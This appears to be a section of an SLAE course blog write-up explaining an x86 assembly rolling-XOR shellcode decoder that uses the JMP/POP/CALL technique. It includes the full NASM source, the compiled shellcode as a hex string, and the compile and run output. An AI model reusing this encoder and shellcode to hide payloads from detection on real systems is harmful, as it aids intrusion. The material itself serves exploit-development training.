4.B. Compiling and running file

Making use of the original ASM file from SLAE, I’ve created a variant which uses the JMP/POP/CALL technique.

So, what does it do? In short, it pushes the generated string on the stack and pops it into a register. Then another function is being called, which copies the first random byte and second sequential byte to XOR against. Using a loop, the count (ECX) register is used for the length of the encoded string.

ASM file

The code below shows a JMP/POP/CALL technique calling for using the generated string and to loop it in the decode function.

; Name: rolling-xor-decoder.asm
; Author: hodorsec

global _start

section .text
_start:
	jmp short call_shellcode

decoder:
    	pop esi         		; Being called by decoder, last pushed value on stack, put in ESI

	; Clear registers for usage
	xor ecx, ecx			; Clear for counting loop
	xor ebx, ecx
	xor edx, ecx

	mov cl, len			; Put length of EncodedShellcode into CL for count loop

decode:
	mov bl, [esi]			; Copy first character pointing from ESI to BL
	mov dl, [esi+1]			; Copy second character pointing from ESI to DL
	xor bl, dl			; Do a XOR on the character being stored in DL, copy result in BL
	mov [esi], bl			; Copy the XOR'ed value into the address where ESI is pointing to
	inc esi				; Move to next character
	loop decode			; "loop" automatically decrements CL, so loop until 0 then goto next instruction
	jmp EncodedShellcode 		; Jump to the address of the shellcode to execute

call_shellcode:
	call decoder
	; The encoded shellcode as generated by the python script
	EncodedShellcode: db 0xfb,0xca,0x0a,0x5a,0x32,0x1d,0x32,0x41,0x29,0x41,0x6e,0x0c,0x65,0x0b,0x82,0x61,0x31,0xb8,0x5a,0x09,0x80,0x61,0xd1,0xda,0x17,0x97	
	len: equ $-EncodedShellcode	; Variable for the length of the encoded shellcode

Compiling ASM

Let’s try to compile the file

$ ../compile_asm.sh rolling-xor-decoder
[+] Assembling with Nasm ... 
[+] Linking ...
[+] Done!

Running the compiled file

When we run the file we get a SEGFAULT. This is due to an attempt to write a memory region which is read-only.

$ ./rolling-xor-decoder 
Segmentation fault (core dumped)
GDB crashing when writing to ESI

Compiling it as C variant

$ cp ../sc_template_c.c rolling-xor-decoder-c.c
$ ../convert_bin_sc.sh rolling-xor-decoder
"\xeb\x17\x5e\x31\xc9\x31\xcb\x31\xca\xb1\x1a\x8a\x1e\x8a\x56\x01\x30\xd3\x88\x1e\x46\xe2\xf4\xeb\x05\xe8\xe4\xff\xff\xff\xfb\xca\x0a\x5a\x32\x1d\x32\x41\x29\x41\x6e\x0c\x65\x0b\x82\x61\x31\xb8\x5a\x09\x80\x61\xd1\xda\x17\x97"
$ vim rolling-xor-decoder-c.c
$ ../compile_c.sh rolling-xor-decoder-c
[+] Compiling ... 
[+] Done!

Run as C variant

Now we’re trying to run again, as C binary. What gives? It runs and it’s shellcode is 56 bytes in length

$ ./rolling-xor-decoder-c 
Shellcode Length:  56
$